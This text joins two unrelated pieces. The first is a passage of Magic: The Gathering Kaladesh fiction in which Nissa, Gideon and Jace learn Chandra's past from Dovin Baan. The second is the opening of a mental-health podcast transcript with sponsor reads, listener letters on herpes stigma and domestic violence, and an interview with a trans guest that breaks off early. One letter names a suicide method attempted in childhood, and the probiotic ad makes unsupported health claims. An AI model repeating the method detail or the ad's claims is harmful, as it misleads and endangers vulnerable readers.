I struggle to pull in a breath. "I think Jace would prefer that. So I don't wreck his house. I mean, he's got this expensive stuff all over."
"I can teach you to meditate, if you wish."
"Uh, yeah." Let's go with that. Sounds good.
Her pencil-sketch eyebrows go all bendy. "Are you unwell? You seem anxious."
The entire garden is full of floaty sparkly silver things, I spent the last hour trying not to blow up Jace's house, and my heart's slamming against my ribcage like I just ran a marathon. I'M GREAT THANKS FOR ASKING.
Instead I blurt, "It's just, you've been staring at me this whole time."
"You're speaking to me. Should I not pay attention?" I swear her lip trembles. "Is this not—not polite on your world?" She looks away for the first time, and one hand tugs a grass-stem ear. The snow of her cheek is brushed with sunset color.
WHAT THE HELL DID I JUST SAY?
"Wha—uh, no! I mean...Sorry!"
I'm on my feet, slamming my head into a low branch. "Ow! S-sorry. This was dumb." I back away, clutching my head, pulling in my elbows to hide my burning eyes, stumbling over the same damn root, shaking, panting for breath, stomach churning. What did I do, what did I do, what did I do?
She's on her feet in the turn of a breath. "Wait."
"I made you feel weird. I should go. I'm just gonna go. Sorry. Bye. Sorry."
"Chandra, please..."
I turn and run, trailing sparks, trees and flowers smearing around me, banging through the door.
...I think I'm gonna puke.
"What a disaster," Liliana murmured. She leaned one hip against the door into Beefslab's gymnasium. After the scene downstairs, she'd expected fire damage. The sandcastle was a surprise.
Gideon's voice boomed from the stairs behind her, "Up here's where I exercise. I've been trying to train up Chandra and Jace, get everyone able to handle an actual weapon. You know. Just in case."
"I have every confidence it will prove equally fascinating as the rest of your facility," Baan replied, wearily.
BANG.
She startled, turning in time to see Chandra hurtle down past Baan and Gideon, a red-haired comet trailing embers from her eyes.
"SorryIblewupyourthingy," she said in passing, the words floating up from underwater.
Then she was gone, the thunder of her feet rumbling down the stairs.
"Careful! You might fall!" Gideon yelled down after her.
Liliana stepped into the stairwell and glanced upwards. Nissa looked down with hands clasped and fretting at her chest, lips parted with unvoiced confusion, long ears drooping.
Liliana shook her head and started down the stairs. Someone had to clean up the mess. Chandra was easy to read. Too easy. Yet she commanded incredible power. A convenient combination.
The sun was westering, settling down into a long, hot afternoon. Low slate clouds to the east promised evening rain, the kind that would make the summer air thicker instead of cooler.
Not that heat bothered her greatly. Necromantic powers had benefits seldom mentioned in brochures. For example, a body temperature low enough to alarm healers. It made summers far more pleasant, and her breath frigid instead of warm. Jace had been preternaturally sensitive to it. The slightest puff of air on his neck had been enough to wake him from sleep.
She frowned and firmly pushed the memory out of mind.
Chandra wasn't hard to find. Setting aside the fact that she had a tendency to knock into people and objects when running flat out, her hair was smoking, in a subtly different color from the food carts scattered around the plaza. Liliana didn't even need to summon a shade to help search.
She was crouched halfway down an alley three blocks from Jace's home, its entrance hidden behind a hoarse food vendor whose cart smelled of cheap pork and overboiled cabbage. Curled up knees to chin, back to a brick wall, she tugged on handfuls of her copper hair.
Sibilant whispers echoed from the alley mouth; "Stupid, stupid, stupid..."
This wouldn't do at all. Liliana swept imperiously around the corner, careful to lift her skirts clear of the rainbow-skimmed puddles. "Why, Chandra, here you are."
She bolted to her feet, wiping under her nose with the back of a shaky hand. "Uh, hey. What—what are you doing here?"
"I was on my way to do some shopping," Liliana extemporized. She'd probably believe that. Big Sis Liliana, leading the glamorous lifestyle and whatnot.
She sniffed and gave a skeptical look. "In an alley?"
"We don't all shop in the same places," Liliana said. "Care to join me?"
Chandra looked over her shoulder, down at the other end of the alley, where crowd-shadows flickered and danced across the afternoon light. "Anyone with you? Gids?"
"Goodness, no. He wouldn't be caught dead shopping with me."
She grinned. "But if he was, you'd raise him to carry your bags!" She paused. "Did you just let me have a necromancer joke?"
"Just this once. Because I like you." The stiffness in Chandra's shoulders relaxed, just slightly. Good.
Chandra wiped under her nose again, then absently rubbed the hand clean on the shawl tied around her waist. "So what are you even shopping for?"
"Oh, nothing terribly important," Liliana said, airily. "A bottle of wine, a half-dozen dead cats—seven to ten days decomposed, by preference—lavender-scented candles, a twelve-inch bone saw..."
Chandra's mouth worked for a moment before the words came. "I...can't tell if you're joking?"
"Then I suppose you'll have to come along and see. We can talk on the way."
All was dark. Cold. Silent. Dampness encased her. A distant warmth filtered down, the lightest breath on the small of her back. She'd waited an eternity, sleeping under moons of cracking ice and pounding rain, feeling the press of quick lives passing overhead.
It was time to move.
Slowly she unwound, pushing back against the softness that pressed in on her. Her limbs stretched, creaking and quaking from an eternity spent huddled in the dark. All around she could feel her siblings stirring. The warmth on her back was drumming into them all, calling. It was time to meet, at last.
...Nissa...
She pushed against the weight above her. Strained. Pale, thin toes sank into the velvet depths below her belly, down where the long cold still lurked and growled, stretching knives of clearest crystal through unknown spaces. She shuddered with the strain.
Maybe she couldn't do it. Maybe she'd be down here forever. Lost, collapsing back into a forgotten husk. Not dead, but never-lived.
...Nissa?
The darkness broke over her.
She shuddered, aching, unsteady legs pushing up, arms shaking as they unfolded from her torso. Every move was agony. The heat beat down, making cold-choked blood flow, filling her limbs with strength and color. Her head lifted into the light, hair spreading into radiance.
"Nissa?"
Art by Zack Stella
The word cracked across her from a thousand leagues away.
She was yanked away in the span of a breath.
The world flashed past. Jumbles of wood and fungus growing over and through one another, breathing together; wastelands of hissing dust, patiently eating stone; ranks of muttering clouds opening themselves to the earth below; ranks of axe-blade stone clawing open the sky; waters deep, cold, and empty.
She blinked at Gideon, momentarily baffled by his grunting beast-sounds—words, some part of her corrected—and by the club-shapes—fingers—waving before eyes that suddenly saw light instead of heat. "I..."
I'm not a seed.
Nissa. I'm Nissa again.
He looked at her expectantly. Rain tapped against the windows of Jace's library. Her words came out broken and creaking, "I'm sorry, Gideon. What did you say?"
He showed his teeth. A grin. "Thought you'd fallen asleep for a minute."
"I was..." A flower struggling out of spring tundra half a world away, delighting in the first touch of the sun. She searched his kind and open face, but found no capacity for understanding. No context she could appeal to. No words that could explain.
"...I was just thinking." She looked down at her lap, where a bowl of food sat untouched.
He speared a hunk of meat from his plate with a utensil—fork, she remembered—that was all but lost between his thick, calloused fingers. "I was telling Minister Baan what you did on Zendikar. You and Chandra."
Chandra. The blood surging hot through her freckled cheeks, the sharp, swift movements of her hands. They'd moved like birds.
Nissa fed birds sometimes, in the garden. They would peer at the seeds cupped in her hand, hungry and needing, but fluttered off when she moved the wrong way.
She'd moved the wrong way, and Chandra had flown.
All her senses and instincts were off.
Ravnica had beaten against her since she arrived, the hot, constant breath of a beast on the back of her neck. The sun was blinding white, the smells thick and unpleasant. Every surface seemed to have edges made to cut and tear.
An endless array of faces milled and circled the streets, strange and terrifying. More faces than she thought could ever exist. They melted into one another, became a single monstrosity with a thousand heads that jostled past her. A walk around the building left her sweaty and trembling. She had to crouch and study the lone flowers that struggled through the cracked cobbles, had to ignore the milling, noisy shapes that shoved and kicked and poked.
There was no silence. Discordant anvils rang by day. Endless banquets hissed and roared from a thousand ovens. The wail of sirens and the crackle of mana by night. A million voices constantly yelling and screaming, crying in pain and grief, lust and anger, overlapping in babble. She hadn't heard the shush of wind through trees for three months. She hadn't heard nothing.
The faces. The noise. The million and one unfamiliar smells that settled in the back of her throat to gag her. When it was too much to bear, she'd curl up in the garden, cover her ears, and the trees would hold her safe.
Everything here was hard, and bright, and sharp.
Chandra. Eyes like sunrises. Every passing thought writ bold across her face. Fearless.
Oh, Zendikar, how did I offend her? What did I do?
But her friend—her best friend, her constant companion for two score years—couldn't answer. The corner of her mind where Zendikar had lived was silent and empty. There's so much I don't understand. I wish you could be here.
She'd never been among so many, and never been so alone.
"Nissa?"
"Yes." She lifted a small red fruit from her bowl. Tomato, Jace called it. Taut skin flush with water, smelling faintly of acid. "What did you want to know?"
Baan laid his utensils across the edges of his plate at an angle so precise it hurt her eyes, then steepled his fingers. "Indulge my curiosity, if you will, Miss...Nissa." He frowned as the title made him hiss. "I am given to understand you have the ability to perceive and manipulate naturally occurring patterns of magic. Through the land, I believe?"
The golden filigree over his coat was ticking softly, a counterpoint to the clock on the far side of the room. She could hear energy within it sizzling and snapping, imperceptible to Gideon, and perhaps to Baan; his ears were as small as a human's.
"Leylines," she said. "Yes."
His nostrils pinched as he inhaled sharply. "A fascinating inversion. On my world, similar energies stream through the upper reaches of the sky. Aether, it is called. We siphon this power—on mountaintops or from thopters—store it within mechanical devices, and release it for various productive uses. Do people do the same on your world?"
Dagger-blade stones floating in the air, bending the world. A web, a cage...a lattice.
A wave of nausea passed through her.
"No," she said to her bowl, shoulders drawing inwards. "Some did, but they..." The tales piled up against the back of her teeth. Where could she even begin? "The land isn't—we ask. We don't take."
"Ask?" Baan echoed, turning the word sideways in his mouth. "Ask whom? Your leylines are naturally occurring phenomena, surely?" His voice thinned with saline contempt. The shape of his eyes changed, tissues settling into harsh angles. "Would you ask the mountain for its kind permission to shape the iron at its root? Would you beg the tree for the fruit that sustains you?"
"Yes," she said, and nothing more. She placed the tomato in her mouth and bit down. The water flooded out—the sharp light of a white sun beating down, rows of dark earth spiced with the remains of those gone before; gently tilled lanes, the hush of elves and dryads swaying among them; tilting cans to set brief, borrowed rains tapping and shivering down leaves.
A lifetime carried in a mouthful of sweet flesh. Months of patience. Thank you, she thought, and swallowed.
Gideon shifted in his chair, leaning forward, subtly placing himself between them. "Minister, things are...different on Nissa's world."
The heavy door at the far end of the room opened, and Jace trudged out looking drained. Lavinia drifted into his wake. When he muttered, "I could really use drink," she pushed a mug of tea into his hand, its steam fragrant with lemon, hibiscus, and several herbs Nissa didn't recognize. He blinked. "How did you know to...?"
"It's my job to anticipate you, Guildpact," she said, crisply. "Should I get someone to reheat your dinner?"
"No. Thanks, Lavinia." He pulled a chair out—old oak, dark and worn from years of sun. Nissa wondered where the chair had come from. It was far older than the house. The life it had held was just a whisper now, a shadow cast on a cloudy day.
Jace's plate contained some yellow-white mass involving cheese and grains. Even cold, she could smell it from the far side of the room. He frowned. "Did they put broccoli in this?"
"You need iron," Lavinia said.
"I hate—"
"You won't even notice it's there." Her voice brooked no argument.
Baan regarded him coolly. "You were bullied as a child."
Jace coughed on his first mouthful of food and struggled to swallow. "I, uh, don't remember my childhood." A dozen unvoiced thoughts flickered behind his eyes.
The Kaladeshi raised his brows. "One need not consciously recollect an event to fall into habitual behaviors determined by the experience. It is not inconceivable that one could forget their entire life. I would safely wager that were that the case, the subject would still tend to make similar lapses of judgement, and would be drawn to associate with the same sorts of people." He waved a hand, the swish of an ox's tail dismissing flies. "The nature of mortals is not so malleable as some would naively suppose. A person of religious inclination will always find something greater than themselves to place their faith in. A criminal will forever remain a criminal."
Jace put his fork down. "That's a very...deterministic point of view, Minister."
Baan blinked, first one eye, then the other. Not a wink, but some form of body language unique to him, unlike any Nissa had seen before. "The mortal corpus, even the mind, is merely a series of sophisticated mechanisms. It is simplicity itself to observe a mechanism in action, and draw appropriate conclusions."
There was a moment of silence. Jace cleared his throat. "Did you enjoy the tour?"
Nissa looked down at her food. She plucked out a piece of steamed fish with her fingers and let the flavor melt across her tongue. Quicksilver bodies flickering under green shadows. The grit of suspended peat, the faint tang of metal. It was not her first language, but there all the same. Thank you, she thought. I will use what you've given with wisdom.
Baan's chair creaked as he settled back. "There are a number of structural and organizational deficiencies I believe it best you be made aware of. The load-bearing beams on the lowest levels are cracked. Application of sufficient force would cause them to give way. The arrangement of furniture in most of the bedrooms is inefficient, leaving many "pockets"—if you will excuse the imprecision of the term—of floor space too small to make practical use of. There are seventeen books that were returned to incorrect shelves in this library. A number of lamps on the second floor lack appropriate protection from drafts..."
"Maybe I should write this down," Gideon said, with a lopsided smile.
"I'll remember it all," Jace said.
Baan paused. "I am given to understand that the incident within Mister Gideon's gymnasium was the responsibility of a pyromancer in your employ?"
"'Employ' might be too strong a word."
"Regardless of the particulars of your arrangement, the lack of appropriate precautionary measures is deplorable. You possess a library of admirable scope and selection. To a pyromancer, this is merely so much kindling. If a conflagration were to start in here—"
"I have...differences with Chandra, but I trust her to..." Jace paused. "Where is Chandra?"
Nissa looked up. Chandra's usual seat at the table was empty.
Gideon shrugged. "I've been looking for her myself. We need to have a talk about proper care of other people's equipment. Last I saw, she was running down from the roof—"
Her breath caught.
"—and Liliana was following her."
Jace looked up sharply. Lavinia, standing watch by the door, cleared her throat. "Guildpact. Permission to report?"
"What? Yes!" Jace turned entirely around in his chair. "You know where they are?"
Lavinia straightened, almost imperceptibly. "Some time ago, Captain Jura requested I have someone follow Countess Vess when she leaves."
Jace glared at Gideon, who shrugged. "Necromancer. Only prudent." He put another forkful of steak in his mouth.
Lavinia shifted weight to her other foot, setting her armor to humming, a tone no one else in the room could hear. "She contacted Monk Nalaar—"
Baan leaned forward in his chair. His eyes narrowed.
"They spent the afternoon wandering the market district, then, ah...planeswalked."
"Together?" Jace asked.
"Yes, sir."
Gideon put down his fork. "Where to?"
"No way for us to know, sir."
"Nalaar," Baan said, softly. He pronounced it with the same enunciation Chandra used, and none of the others had ever quite managed to reproduce. "You must excuse my consternation. That is a name I have not heard for many years."
Jace pushed his plate aside and laid his hands on the table. "I need you to explain that."
"I would not say it is my pleasure to do so, but I do believe it is my obligation." Baan folded his hands in his lap. "Pia and Kiran Nalaar were early luminaries of the renegade movement. They were criminals, I regret to say, engaged in the theft and unlawful redistribution of Consulate aether resources."
"They're relatives of Chandra's?" Gideon asked. "I didn't even know she was from Kaladesh..."
"Her parents, unless I greatly miss my guess. Twelve years ago, they compelled their daughter—her name was not recorded—to assist in their smuggling operations. I am not familiar with the details, but the girl escaped custody when she manifested dangerous pyromantic abilities. The Nalaars attempted to hide in the countryside. A manhunt brought them to ground in Bunarat, but during the attempt to take them into custody, the village was set ablaze. All three were reported dead by the officer in charge."
"Twelve years?" Gideon said, aghast. "But she's only—!"
"She would have been a child," Nissa said, softly.
Baan opened his mouth, closed it again, and looked inward, tapping his fingers on the filigree covering his sleeve. "Please understand," he said at last. "This was performed under the authority of a previous administration. Even then, these actions were considered...extraordinary. The officer in charge of the investigation pursued despite an official recall. I believe formal charges were brought against him for the expense."
"For the expen—!" Jace sputtered.
"I don't know what her parents did," Gideon said, his mouth a hard line. "I don't much care, either. Whatever their sins were, they had nothing to do with Chandra." His eyes narrowed. "Is she impulsive? Sure. I'd be stupid not to say that. But her heart's the size of the moon."
Baan laced his fingers and rested his chin on them. "Mister Gideon, aether is in the very air we breathe. It is in the rain that falls to earth, and in the leaves of the trees. We only dare touch such power through the gloves of artifice; a million pieces of instrumentality, each safely performing its assigned function. By rigorous adherence to this method, we avoid 87.4% of the accidents provoked by mages drawing upon mana directly. If you will forgive me for saying so, pyromancers are particularly prone to...collateral damage." Baan inhaled slowly, fuchsia eyes darting around some image that only existed in his thoughts. "In the past, pyromancers have precipitated...terrible tragedies. Not always by their intent, but universally by their nature."
"So have you outlawed matches?" Gideon asked, with a severity Nissa hadn't heard from him before.
Baan lowered his eyes. "May I assume, based upon your reactions, that Miss Nalaar never spoke to you of this?"
"Not a word," Gideon said. He stared at his unfinished meal, one hand curling into a fist.
Jace looked at him sympathetically, "She didn't confide in any of us."
Gideon shook his head slightly. "But she should have felt that she could."
"That was her choice to make. Not ours," Nissa murmured. She laid a fingertip along the rim of her bowl and slid it down, setting the pottery to ringing. "We all have scars we don't want others to touch."
Chandra had sat across from her, cheeks burning, twisting flower-stems around her fingers, asking for nothing more than a moment of peace. For something that could slow the frantic, bird-like stammer of her heart. But she'd moved the wrong way. Chandra had fluttered and flown.
"If I may inquire," Baan said, "Where do you suppose she might have gone? Surely she could not be so rash as to depart for Kaladesh."
Nissa looked up. Jace and Gideon were exchanging a look. Both glanced at her.
They stood as one.
Jace turned toward the coat room. "I'll head to Kaladesh. It should be easy for me to—"
Lavinia appeared in his path, one hand resting on the pommel her sword. "Again?" she said, in a weary, disappointed tone.
He frowned up at her. "You can't expect me to sit here and do paperwork!"
She nodded to Gideon and Nissa. "They can find Monk Nalaar. They can't be the Guildpact."
Gideon laid a meaty hand on Jace's shoulder. "She's not wrong. Think of the bigger picture, Jace. I can take this one. Although," he winced, "I'm not looking forward to it. You know how she gets when someone tells her what to do..."
Kaladesh. Ghirapur. A city of brass and industry. Like Ravnica, a place that never slept, where the wind smelled of metal and cracking energies, and ceaseless tides of mortal faces buffeted to and fro. An ocean of strangers, gawping and whispering at her. Staring. Pointing. Shoving.
"I'll go." The words had flown before she'd thought them.
Gideon turned to her. "Are you sure?" His eyes drifted down to her trembling fingers. "Nissa, you don't have to go alone."
She balled her hands into fists, stilling them. "I will go to Kaladesh. Baan can guide me. I'll..."
What?
Bring Chandra home? She was home.
Get her out of trouble? She was a woman grown. She could do as she pleased.
Protect her? Chandra's heart was a baloth. She needed no champion.
"...I'll stand with her."
It felt right.
Kaladesh Story Archive
Planeswalker Profile: Chandra Nalaar
Planeswalker Profile: Liliana Vess
Planeswalker Profile: Nissa Revane
Planeswalker Profile: Jace Beleren
Planeswalker Profile: Gideon Jura
Planeswalker Profile: Dovin Baan
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Episode Transcript:
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Welcome to Episode 322 with my guest Olivia Haidar. Today's episode is sponsored by Probimune. Did you know that research suggests up to 80% of your immune system relies on a healthy gut? Well, the people at Young Health do know that, and that's why they've developed Probimune, a liquid probiotic that promotes intestinal health and contains a unique blend of bacteria not found in 99% of other probiotics. It's easy to use, easy to travel with and does not require refrigeration.
Right now, you guys can get your first bottle of Probimune free when you sign up for automated delivery. That's a $34.95 bottle of Probimune free, and all you pay is $6.75 shipping and handling. So, just go to Probimune.com, that's P-r-o-b-i-m-u-n-e, and use the promo code MENTAL at check-out to get your free bottle today.
I'm Paul Gilmartin. This is the Mental Illness Happy Hour, a place for honesty about all the battles in our heads, from medically diagnosed conditions, past traumas and sexual dysfunction to everyday compulsive negative thinking. This show is not meant to be a substitute for professional mental counseling. It's not a doctor's office. I’m not a therapist. It's more like a waiting room that doesn't suck.
The Web site for this show is Mentalpod.com. Mentalpod is also the Twitter handle you can follow me at. And please go check out our Web site. Fill out a survey. Maybe we'll read your survey on the show. All kinds of things you can do at the Web site, forums, blogs, ways to support the show, resources to get help, you name it, it is there.
I want to read an e-mail I got from Sylvia, and she writes, I just listened to your interview with Laura J. That was last week's episode. I appreciate you having someone on the show who was open enough to talk about their experience contracting genital herpes. I contracted it back in 1994 at the age of 30 from a boyfriend after we had been together for over a year. He claimed he didn't think he had it, although he had an outbreak in 1979 and the doctor gave him a topical cream for it and sent him on his way. He never had an outbreak during his 10-year marriage prior to meeting me.
I noticed a lesion on him, but he claimed it was a skin irritation from friction, until we both went to the clinic to get tested. There are countless people out there who carry the virus for genital herpes but don't know they have it because many people contract it without experiencing symptoms, or, in the case with my then-boyfriend, stayed dormant years after the initial outbreak.
You mentioned that you had three guests on your show who have it. Perhaps, more accurately, it's that those were the only guests who disclosed they had it. Unfortunately, there's such a negative stigma about herpes and negative assumptions about the type of people who have it. It's not a death sentence. I was devastated when I learned I had it, but it's rarely an issue in my life now.
I was disappointed that Laura J. said she talks to people about it yet isn't honest about telling them she has it. I also understand how difficult it is to come out to people without fear of being judged and rejected. I hope that eventually changes. We don't judge people who contract the cold virus or chicken pox, yet there are so many jokes about people who are HSV-positive. I hope you have other guests on your show in the future who are honest about this issue. It's much more common than you think.
Thank you so much for sharing that, Sylvia. One of the things that I love about doing this show is my, just when I think I have a perspective on something completely locked in and understood, I'll get an e-mail from one of you guys or I'll interview somebody and my perspective will broaden or change, and it's really one of the great things about getting to do this show and getting to know you guys.
And speaking of perspective, I want to give some love to BetterHelp.com. They're an online counseling service, and I have been using a BetterHelp.com counselor for about six months now, I think, and I've shared on previous episodes that I really, really value the work we do together and I love her as a therapist.
And one of the things that I like about her is she will sometimes send me a message during the week for something to maybe think about for next week's session, and we do video, too, video sessions once a week, and she writes, hi, Paul, as we discussed, I would like for you to continue to reflect on what life will look like for you moving forward, especially after your divorce. More and more I see a growing sense of, quote, awareness of others in a very healthy way. Do you feel like, as we work together, the child in you has been given a space to begin to grow up and connect to the man that you are now?
And [chuckles] as uncomfortable as I am with the talk of inner, you know, the inner child, I really do believe that it is a thing. And I wrote back, I definitely feel myself growing up, especially as I become more aware of boundaries and I begin to utilize tools to not only set mine but respect other people's.
And I actually did it on Friday while conversing with a woman who asked questions about specifics regarding my struggle with boundaries, and I didn't give her any more information than was asked and told her that I was starting to get a little bit triggered and I might have to switch subjects, but as it turns out, I didn't even have to.
And then Donna wrote back and said, that's significant. Your authentic self is learning to manage the hurt, acting-out child in you and as that child heals, grows up, and becomes a part of your healthy adult being. So, just a little sample of what I have gotten to experience using BetterHelp.com.
So, if you want to try it out, go to BetterHelp.com/mental and complete a questionnaire and then you'll get matched with a BetterHelp.com counselor and you can experience a free week of counseling to see if online counseling is a good fit for you. You've got to be over 18, and I highly recommend it. Check it out, once again, BetterHelp.com/mental.
This is also an e-mail that I got, and this is from, how does she want to be, she wants to be referred to as M. And she wrote, dear, Paul, I really enjoyed this week's episode, so thank you, as always. I've been a loyal, very loyal listener for several years and I know you've expressed appreciation before when listeners can provide some information about areas you might be misinformed or under-informed.
There was a moment like that in this episode with a listener survey, and I'd like to provide some feedback. I'm trying to figure out which one she is, which episode it was, in case you guys want to go back and listen to it. Let's see, this came in on, I think it might have been last week's episode. Yes, it would have been last week's episode with Laura J.
I don't recall the name she used, but the listener was describing the abuse she's experienced at the hands of her parents and her husband. I work as an advocate for survivors of domestic violence and sexual assault in a shelter in Oregon, so I feel I'm uniquely positioned to respond.
While I know your intentions and the advice you gave her were very pure, I noticed some harmful myths in your advice that I'd like to address in a loving way. My aim is to educate and inform, not to shame you at all.
The listener's story was textbook domestic violence, and I hear stories like hers multiple times a day. Some super-common factors she mentioned, the emotional manipulation, gaslighting, belittling of her feelings, threats of suicide if she leaves, faking suicide, blaming her, using her bisexuality to shame and control her, possessiveness, involving the kids in their conflicts, threatening to take the kids, soiling her reputation to friends and family in order to isolate and humiliate her, all of these things are examples of how unequal dynamics of power and control, and that's in bold, unequal dynamics of power and control form the basis of her husband's attitudes towards her.
The root of the problem of domestic violence is not anger issues or alcohol or drug addiction or even trauma. Sure, those things can contribute and make domestic violence more severe or more physically violent, but research shows that perpetrators of domestic violence are not actually angrier than other people, and there are plenty of people who are addicts and who have trauma who don't abuse their intimate partners. There are also many abusers who don't have significant trauma and who don't abuse drugs or alcohol.
Domestic abusers have plenty of control over when, how and at whom they direct their violence. They don't generally act out and gaslight or assault their bosses or their friends or their mothers. They do it to their intimate partners. They don't generally abuse their partners when other people are around to see it because they're on their best behavior in front of others, especially law enforcement.
I hear stories of men berating and beating their partners in a, quote, blind, uncontrollable rage, and then when the neighbor calls law enforcement and cops knock on the door, they're able to flip a switch and act like everything is fine.
The listener is not at fault here at all, and at all is in caps, for picking him, for staying with him, for, quote, provoking his anger. I'm not saying she's a flawless person or a flawless partner because, of course, no one is, but in terms of the dynamics of power and control, that's his doing.
You said, quote, healthy people don't choose people like your husband, healthy people don't stay with people like your husband, unquote. I have to kindly and compassionately call bullshit, Paul.
Abusers don't start out the relationship being abusive. They start out charming and loving and attentive. The abuse can be incredibly gradual, to the point where their partners may not even know that they're being abused. Part of the dynamics of domestic violence are that the abuser makes their partner doubt their own reality, their own memories, their own feelings, because why would someone who loves me treat me that way? It must be something I did. They must remember the truth better than I can. I must be oversensitive.
By the time the abuse becomes unbearable, there are likely to be all sorts of barriers to why she, and in parentheses, and statistically it's overwhelmingly but not always females being abused by male partners, can't leave the relationship. There are lots of very real reasons why someone feels like she can't leave aside from physical restraint or threats of murder.
Some examples, he very well may take the kids away, or he may very well win a custody battle in court, especially if she's ever used drugs or alcohol to cope with the abuse, which is super common. The family law system is deeply flawed and frequently rewards perpetrators of domestic violence over victims.
Other reasons a victim might not leave. Perhaps she's been controlled for so long in the relationship that she has no job or source of income and he holds all financial control. He might have been so possessive and controlling that he has isolated her from all her family and friends and either now has minimal relationships outside of her partner, or she fears her family and friends would never believe her because her partner puts on the face of being, quote, such a good guy when other people are around.
Maybe she's an undocumented immigrant or non-native English speaker and she would struggle finding enough work under the table or navigating the court system. Maybe he's threatened to deport her if she tries to leave. Maybe he's undocumented and she's afraid that if she reports his violence he'll get deported. Maybe she's so traumatized and frozen that she can't even imagine taking a first step to get out. Perhaps she's terrified of leaving because of his threats of killing himself or his threats of killing her.
Statistically, a person being abused is at most risk of injury or murder after they leave the abusive relationship or while they're trying to leave. On average, a victim of domestic violence tries to leave seven times before she is successfully able to get out.
On top of all this, I wish that would say, before they are able to get out, but I'm nitpicking. On top of all this, she probably still loves her partner or what he used to be. Maybe she still has hope that he will change.
The bottom line, it takes an incredible amount of support and resources for a person to successfully and safely leave an abusive relationship. It's not simply a matter of intelligence, quote, knowing what you deserve, unquote, being emotionally healthy, having wealth or sheer will.
I also want to acknowledge that you said a lot of advice that was spot-on, about her being able to get a divorce despite her husband's disagreement, and then in parentheses, it can take a lot longer if he's unresponsive but it is absolutely possible in all states, to my knowledge, about the benefits she could gain from asking for help from a domestic violence agency, about how it's possible for her to summon the courage and strength to get out for the sake of her and her children's safety, call law enforcement.
Yes, this is usually a good thing, depending on the circumstances and location. Reaching out to CPS is probably not a great idea because the kids could easily get taken away from her, too, even if she has removed herself and her children from the abusive situation. You said, quote, find what you have control over and do your best, unquote. Yes, absolutely this.
Please, if listeners ever hear this and are in a similar position to this dear survey respondent, reach out to a domestic violence agency. Please, Paul, use your position of power, that always makes me smile. It's funny because we always see ourselves as so powerless.
But anyway, and your reach to encourage people to ask for appropriate help to get themselves safe. Domestic violence agencies exist purely for the purpose of helping you get yourself and your kids safe. Advocates want to help you, and they're highly trained to do so.
And to combat one more myth, the relationship does not need to be physically abusive in order for a person to qualify for services from an agency, and it can still be incredibly dangerous, even deadly, despite there never being physical violence before.
Just last week, a client of my agency's husband killed himself in front of her and their kids and she narrowly escaped his gun herself by running out into the snow without shoes on. There had been no previous physical abuse, only emotional abuse, in their relationship before this incredibly violent act.
The message I want to communicate, there is a lot of misinformation in our culture about domestic violence, and it's not your fault for not knowing any better about some of these victim-blaming myths. Victims are included in this, just like survivors of other types of trauma. They blame themselves all the time.
To victims of domestic violence, like those who deal with other trauma and mental illness, it can feel hopeless and like there is no end in sight except death, but there is so much hope and so much potential healing. There is always a way out.
I hope this is helpful, Paul. I'd love to hear more stories of domestic violence on your show. Thank you for all that you do for this community that you've built. With love, compassion and a passion for ending violence, M.
And I wrote her back and thanked her so much for laying that all out there and enlightening me. And like I said, the only issue I have, because I know personally at least six guys who were in relationships where they were being physically and emotionally abused by a woman and they couldn't find the self-, the agency to, self-agency to stand up for themselves, and they eventually did leave.
But so, you know, my only nitpick would be, you know, only use he or she when you absolutely have to because I think then it can also make it harder for men to step forward, because then they'll feel like, you know, buy in to the myth that they're weak because they can't leave, etc., etc. But that would be my only, I would say, issue with what she said. I think the rest of it, like I said, really enlightened me, and I appreciate it, and especially the diplomacy and kindness that she shared it.
It took me so many years to realize that you can say, you can speak almost any truth to somebody else if you can find the way to phrase it lovingly and with compassion, but also clear boundaries and resolution.
And then, this is an Awfulsome Moment I want to share. This is filled out by Sarah, and she writes, when I was 11, I wanted to commit suicide and slashing my wrists was the only way I knew of as a way to do so. I got a knife but realized I didn't know which way I was supposed to cut them. I was too anxious that I would do it wrong, so I didn't try. My crippling fear of making mistakes saved my life.
[Show intro]
PAUL: I'm here with Olivia, is it Haidar or Haidar [different pronunciations]?
OLIVIA: It's Haidar [pronounced hi-dar].
PAUL: Haidar.
OLIVIA: Haidar.
PAUL: Haidar. Olivia is a trans woman. How old are you?
OLIVIA: I'm 29.
PAUL: Twenty-nine years old. You're from Indiana, which is, I went to school in Indiana, not exactly a very trans-friendly state.
OLIVIA: No, there are trans-friendlier states, definitely. It's, you know, it's not the worst, it's not the best. I mean, it's the worst overall, but as far as trans things, you know, it's that whole Midwestern nice of just staring and not saying anything.
PAUL: Yeah, yeah. What kind of comments do you get or do you hear people saying?
OLIVIA: Oh, [chuckles]--
PAUL: Just, if you're comfortable, describe yourself to people.
OLIVIA: Totally. Yeah, I am, I'm five-foot-nine and a little bit, you know, I'm not super tall but I'm taller than average, and I'm overweight and I'm Arab and I've got, so I've got pretty dark facial hair and just lots of thick hair in general. So, that's like the main, I usually get some stuff about the beard shadow or, you know, your basic slurs and, like tranny and stuff, but people are, you know.
I don't know. I don't, I haven't gotten--
PAUL: And you're wearing lipstick.
OLIVIA: I do, yes. Yeah, I wear lipstick. I, you know, I've got a bit of, a little bit of a masculine-of-center look. You know, I usually just wear jeans and a T-shirt or whatever, you know, I'm not a traditionally feminine person in general, but yeah, you know, a little bit of a punk aesthetic.
PAUL: One of the reasons why I wanted to bring that up is because I want the listener to, as fully as possible, understand your experience through audio--
OLIVIA: Totally. Yeah, yeah, yeah, definitely. Yeah, it's, yeah.
PAUL: Okay. What are the mean thoughts that go through your head?
OLIVIA: Oh, boy [chuckles]. They range in all sorts of things. It's usually just a running commentary of everything that I could have possibly done wrong or not, you know, or maybe done better. I don't know. I have, I'm a lot better about self-hate and negative self-talk than I used to be, but like, it's a lot of just, you know, [sighs] I don't know.
My inner monologue isn't very creative. It's usually [chuckles] just like, oh, man, you're a worthless piece of shit, aren't you? You know, you just, you're garbage, garbage person, just, yeah, that sort of thing.
PAUL: What was the environment like that you grew up in? You grew up just north of Indianapolis?
OLIVIA: Yeah. I grew up in the kind of rural suburb area, and it was, like for my young childhood, it was a good home. My dad left when I was very, very young, and so I was raised by a single mom until I was 11, and then, or 12, and then she got remarried. And she was great. Like I had a very loving relationship with her, although she's very overprotective because I was the only child, and then she remarried to an alcoholic from Florida.
PAUL: This was the first remarriage or the second remarriage?
OLIVIA: Oh, only one, only one remarriage--
PAUL: Okay.
OLIVIA: --to a gentleman from Florida. They had my sister, and then he just really dove in and started drinking and things kind of devolved from there. It became a very turbulent home, I think is probably the best way to phrase it.
He was never like physically abusive, but a lot of emotional abuse, a lot of taunting and name-calling and doing all sort of--
PAUL: Like what kinds of things would he say?
